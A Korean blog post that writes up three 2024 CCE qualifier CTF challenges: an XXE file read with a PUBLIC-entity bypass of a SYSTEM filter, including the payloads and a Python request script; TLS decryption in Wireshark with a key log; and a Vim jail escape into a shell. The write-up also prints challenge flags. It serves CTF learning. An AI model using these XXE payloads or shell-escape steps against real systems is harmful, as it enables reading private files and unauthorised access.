Post

2024 CCE Quals Write-Up

들어가며

어제, 8월 3일 CCE 예선이 열렸다.
기능경기대회 준비 중 오랜만에 참가 해 보는 CTF였다.
우선 결과를 먼저 말하자면,,, 10등으로 아슬아슬하게 본선 진출에 성공하였다.

  • internal inspection
  • tls_ninja
  • escape_from

내가 푼 문제는 총 3문제인데, 그 중 한 문제는 내가 풀었다고 말 할 수 없어 쓰지 않았고, 대신 업솔빙한 문제 하나를 더 썼다.


internal inspection

대회 마무리 전까지 잡고 있었지만, 시간 부족과 삽질 부족으로 풀지 못한 문제였다.
대회가 끝나고 바로 푼게 좀 아쉬웠다.

문제 컨셉

회사 인트라넷 서비스였다.
회원들 정보, 급여 정보 등을 확인하고 .xlsx 파일로 다운로드 할 수 있었으며,
공지사항을 조회하고 검색할 수도 있었다.

풀이

먼저 문제를 살펴본다.
우선 문제를 눈으로 간단히 살펴 본 결과, 사용자가 입력할 수 있는 부분이 많이 없었다.
눈에 띄는 입력 벡터는 /notice 페이지에서 검색을 통해 공지사항을 조회하는 기능이 있어 SQL Injection도 아주 잠깐 생각 해 보았으나, 조회 기능에서 백엔드 단으로 요청이 가지 않아서 사용할 수 없었다.
(혹시나 요청이 간다고 했어도 SQLAlchemy ORM을 사용하고 있어서 SQLi 취약점은 어려웠을 것이다..ㅋㅋㅋ)

추가적인 정보들을 얻기 위해, Burp Suite의 Proxy를 켜고 문제 사이트에서의 기능들을 모두 작동시켜본다.
image1

그 중 유일하게 /download 경로로의 POST 요청이 Param을 가지고 있다.
image2

요청을 보면, /download 경로로 XML 파일과 함께 POST 요청을 보내는 것을 볼 수 있다.
보낸 XML 파일에 대한 응답은, 엑셀 파일인 .xlsx 확장자로 오는 것을 확인할 수 있었다.

다음은 문제의 Dockerfile이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
FROM python:3.11

LABEL author="arrester"

WORKDIR /app
COPY ./internal-inspection /app/
COPY ./flag /flag
RUN pip install --upgrade pip
RUN pip install --no-cache-dir -r /app/requirements.txt

RUN apt-get update

CMD ["python", "-u", "app.py"]

파이썬 Flask 앱을 실행시키기 위한 과정이 보이는데, 이 중 주목해서 봐야 할 점은 Flag의 위치이다.
디렉터리 최상단 /flag 에 위치해 있다.

지금까지 얻은 정보로 알 수 있는 것은,
XML 파일 업로드 -> XLSX 파일 다운로드 과정에서의 /flag 파일 포함,
즉 XXE 공격이다.

일반적인 XXE 페이로드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE root [
  <!ELEMENT root ANY >
  <!ENTITY xxe SYSTEM "file://../../../../../etc/passwd" >]>
<root>
  <member>
    <name>&xxe;</name>
    <address>123 Street</address>
    <company>XYZ Corp</company>
    <job>Developer</job>
    <email>test@example.com</email>
    <username>testuser</username>
  </member>
</root>

하지만 이 문제에서는 이런 형식의 페이로드가 작동하지 않는다.

/download 엔드포인트에서 아래와 같이 SYSTEM 키워드를 무력화하고 있기 때문이다.

1
xml_data = xml_data.replace("SYSTEM", "system")

그래서 SYSTEM 없이 XXE를 할 수 있는 방법을 찾아야 한다.
이 내용에 대해 서칭하던 중 Github에서 Cheat Sheet 비슷한 것을 하나 발견했다.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md
image3
SYSTEM 대신 PUBLIC을 사용해서 거의 유사한 역할을 하도록 할 수 있다.

최종 페이로드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE members [ <!ENTITY xxe PUBLIC "XXE" "file://../../../../../../flag"> ]>
<members>
    <member>
        <name>&xxe;</name>
        <address>Address1</address>
        <company>Company1</company>
        <job>Job1</job>
        <email>Email1</email>
        <username>Username1</username>
    </member>
</members>

<name> 필드에 Flag가 담아져 나올 것이다.

다음은 해당 페이로드를 보내고 입력으로 엑셀 파일을 받는 Python 코드이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests as rq

url = "http://52.231.138.201:8580/"
url += "download"

xml_file = """
<!DOCTYPE members [ <!ENTITY xxe PUBLIC "XXE" "file://../../../../../../flag"> ]>
<members>
    <member>
        <name>&xxe;</name>
        <address>Address1</address>
        <company>Company1</company>
        <job>Job1</job>
        <email>Email1</email>
        <username>Username1</username>
    </member>
</members>
"""

resp = rq.post(url, files={"file": xml_file})
if resp.status_code == 200:
    open("result.xlsx", "wb").write(resp.content)
else:
    print("Failed to download the file.")

실행 이후 같은 디렉터리에 result.xlsx가 생기는데, 이를 보면 위 예상대로 <name> 필드에 플래그가 찍혀 있는 것을 확인할 수 있다.
image4

플래그

1
cce2024{02a0c985a69a96c1ee119bb1b0c422bb}

tls_ninja

재밌는 패킷 분석 문제이다.
평소 네트워크를 좋아해서 항상 이런 문제 나오면 재밌게 도전 해 보는 것 같다.
이 문제는 생각보다 많이 간단해서 쉽게 풀 수 있었다.

풀이

13kb짜리 패킷 덤프 파일 ninja_.pcap 과 함께 SSLKEYLOGFILE.log 파일이 제공된다.
SSLKEYLOGFILE.log을 제공해줬으니,
해당 파일을 Wireshark에 넣어서 TLS 패킷들의 복호화된 데이터를 확인한다.

다음은 SSLKEYLOGFILE.log의 적용 방법이다.

  • Wireshark 메뉴에서 Edit -> Preferences를 선택한다.
  • 좌측 목록에서 Protocols -> TLS를 선택한다.
  • (Pre)-Master-Secret log filename 필드에 SSLKEYLOGFILE.log의 경로를 입력한다.

image5

이제 Wireshark에서 자동으로 TLS 패킷을 복호화하고 평문 데이터를 보여준다.
image6

플래그

image7


escape_from

해외 CTF에서 Pyjail, JSjail 문제는 몇 번 봤어도,
Vim Jail 문제는 처음 보는 것 같아서 신선했다.
팀원들이 어땠는지는 모르겠지만, 나는 평소 Vim에 좀 친숙한 편이라 재밌게 풀었던 것 같다.

풀이

나와 있는 접속 정보를 통해 문제 서버에 SSH 접속 해 보면 Vim 편집기 화면만 보인다.
image8 앞서 말했듯 Vim Jail 문제이다.
:wq:q! 등 커맨드들이 정상적으로 동작을 하지 않고,
Vim에서 빠져나온다고 해도 SSH 연결이 종료되기만 한다.

1
2
:set shell=/bin/bash
:shell

위와 같이 입력하면 Vim을 탈출해서 Shell로 갈 수 있다.
이 때 cat /flag 명령을 실행하면 된다.

플래그

image9

레퍼런스

좋은 레퍼런스가 있어서, 보고 바로 풀 수 있었다.
CTFtime Write-Up


끝내며…

작년보다, Apollo에서 본 것들 보다 문제가 꽤 어렵게 나와서 당황했고, 또 많이 못 풀어서 아쉬웠다.
꼭 풀고 싶었던 문제들이 있었지만 아직은 내 실력이 많이 부족하다는 것을 깨닫게 해 준 대회였다.
그래도 우리 팀원들 모두 열심히 다 풀어 준 덕분에 본선 진출에 성공할 수 있었던 것 같고,
진우 재영이 정훈이 모두 수고 많았다!!!!

This post is licensed under CC BY 4.0 by the author.